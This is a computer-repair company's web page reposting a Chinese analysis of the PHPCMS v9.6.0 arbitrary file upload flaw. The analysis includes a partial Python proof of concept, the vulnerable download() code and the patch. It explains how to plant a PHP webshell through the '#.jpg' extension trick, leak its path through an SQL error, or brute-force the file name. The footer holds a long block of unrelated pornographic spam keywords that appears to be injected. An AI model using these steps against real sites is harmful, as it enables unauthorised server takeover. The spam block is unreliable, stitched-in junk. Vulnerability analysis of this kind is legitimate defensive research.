錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項(xiàng)目 服務(wù)報(bào)價(jià) 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
關(guān)于PHPCMS v9.6.0文件上傳漏洞分析

作者: 佚名  日期:2017-04-23 08:32:37   來源: 本站整理

 0x00 漏洞概述漏洞簡介

前幾天 phpcms v9.6 的任意文件上傳的漏洞引起了安全圈熱議,通過該漏洞攻擊者可以在未授權(quán)的情況下任意文件上傳,影響不容小覷。phpcms官方今天發(fā)布了9.6.1版本,對(duì)漏洞進(jìn)行了補(bǔ)丁修復(fù).

漏洞影響

任意文件上傳

0x01 漏洞復(fù)現(xiàn)

本文從 PoC 的角度出發(fā),逆向的還原漏洞過程,若有哪些錯(cuò)誤的地方,還望大家多多指教。

首先我們看簡化的 PoC :

import re import requestsdef poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '1', 'username': 'test', 'password': 'testxx', 'email': 'test@test.com', 'info[content]': '

', 'dosubmit': '1', } rep = requests.post(u, data=data) shell = '' re_result = re.findall(r'

', rep.content) if len(re_result): shell = re_result[0] print shell

可以看到 PoC 是發(fā)起注冊(cè)請(qǐng)求,對(duì)應(yīng)的是 phpcms/modules/member/index.php 中的 register 函數(shù),所以我們?cè)谀抢锵聰帱c(diǎn),接著使用 PoC 并開啟動(dòng)態(tài)調(diào)試,在獲取一些信息之后,函數(shù)走到了如下位置:

\

通過 PoC 不難看出我們的 payload 在 $_POST['info'] 里,而這里對(duì) $_POST['info'] 進(jìn)行了處理,所以我們有必要跟進(jìn)。

在使用 new_html_special_chars 對(duì) <> 進(jìn)行編碼之后,進(jìn)入 $member_input->get 函數(shù),該函數(shù)位于 caches/caches_model/caches_data/member_input.class.php 中,接下來函數(shù)走到如下位置:

\

由于我們的 payload 是 info[content] ,所以調(diào)用的是 editor 函數(shù),同樣在這個(gè)文件中:

\

接下來函數(shù)執(zhí)行 $this->attachment->download 函數(shù)進(jìn)行下載,我們繼續(xù)跟進(jìn),在 phpcms/libs/classes/attachment.class.php 中:

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value);}

函數(shù)中先對(duì) $value 中的引號(hào)進(jìn)行了轉(zhuǎn)義,然后使用正則匹配:

$ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

這里正則要求輸入滿足 src/href=url.(gif|jpg|jpeg|bmp|png) ,我們的 payload (

)符合這一格式(這也就是為什么后面要加 .jpg 的原因)。

接下來程序使用這行代碼來去除 url 中的錨點(diǎn): $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); ,處理過后 $remotefileurls 的內(nèi)容如下:

{C}

\

可以看到 #.jpg 被刪除了,正因如此,下面的 $filename = fileext($file); 取的的后綴變成了 php ,這也就是 PoC 中為什么要加 # 的原因: 把前面為了滿足正則而構(gòu)造的 .jpg 過濾掉,使程序獲得我們真正想要的 php 文件后綴。

我們繼續(xù)執(zhí)行:

\

程序調(diào)用 copy 函數(shù),對(duì)遠(yuǎn)程的文件進(jìn)行了下載,此時(shí)我們從命令行中可以看到文件已經(jīng)寫入了:

\

shell 已經(jīng)寫入,下面我們就來看看如何獲取 shell 的路徑,程序在下載之后回到了 register 函數(shù)中:

\

可以看到當(dāng) $status > 0 時(shí)會(huì)執(zhí)行 SQL 語句進(jìn)行 INSERT 操作,具體執(zhí)行的語句如下:

\

也就是向 v9_member_detail 的 content 和 userid 兩列插入數(shù)據(jù),我們看一下該表的結(jié)構(gòu):

\

因?yàn)楸碇胁]有 content 列,所以產(chǎn)生報(bào)錯(cuò),從而將插入數(shù)據(jù)中的 shell 路徑返回給了我們:

\

上面我們說過返回路徑是在 $status > 0 時(shí)才可以,下面我們來看看什么時(shí)候 $status <= 0,在 phpcms/modules/member/classes/client.class.php 中:

\

幾個(gè)小于0的狀態(tài)碼都是因?yàn)橛脩裘袜]箱,所以在 payload 中用戶名和郵箱要盡量隨機(jī)。

另外在 phpsso 沒有配置好的時(shí)候 $status 的值為空,也同樣不能得到路徑。

在無法得到路徑的情況下我們只能爆破了,爆破可以根據(jù)文件名生成的方法來爆破:

\

僅僅是時(shí)間加上三位隨機(jī)數(shù),爆破起來還是相對(duì)容易些的。

0x02 補(bǔ)丁分析

phpcms 今天發(fā)布了9.6.1版本,針對(duì)該漏洞的具體補(bǔ)丁如下:

\

在獲取文件擴(kuò)展名后再對(duì)擴(kuò)展名進(jìn)行檢測

0x03 參考 https://www.seebug.org/vuldb/ssvid-92930 [漏洞預(yù)警]PHPCMSv9前臺(tái)GetShell (2017/04/09)



熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點(diǎn)不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請(qǐng)求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對(duì)講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動(dòng)時(shí)提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報(bào)修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號(hào):遼ICP備2023002984號(hào)-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 国产av无码久久精品| 亚洲Av永久无码精品黑人| 精品人妻无码专区在中文字幕| 一区二区三区无码高清| 无码专区天天躁天天躁在线| 久久久g0g0午夜无码精品| 老司机亚洲精品影院无码| 日韩A无码AV一区二区三区| 久久精品无码午夜福利理论片| 亚洲av无码专区在线观看素人| 无码专区人妻系列日韩精品少妇| 成人无码A区在线观看视频| 用舌头去添高潮无码视频| 无码日本精品XXXXXXXXX| 色情无码WWW视频无码区小黄鸭| 一级毛片中出无码| 韩国无码AV片在线观看网站| AV无码精品一区二区三区| 四虎成人精品无码| 人妻中文字系列无码专区| 久久久久无码精品亚洲日韩| 中文字幕精品无码久久久久久3D日动漫| 亚洲日韩精品无码专区 | 制服在线无码专区| 亚洲熟妇无码八AV在线播放| 亚洲av无码天堂一区二区三区| 无码国产精成人午夜视频不卡| 无码丰满熟妇一区二区| 久久亚洲AV成人无码国产最大| 无码少妇一区二区浪潮免费| 亚洲日韩精品A∨片无码加勒比 | 亚洲中文字幕无码中文| 欲色aV无码一区二区人妻| 精品国产一区二区三区无码| 无码精品A∨在线观看| 人妻丰满熟妇无码区免费 | 99久久亚洲精品无码毛片| 久久久久精品国产亚洲AV无码| 无码区国产区在线播放| 无码人妻精品中文字幕| 国产亚洲精品a在线无码|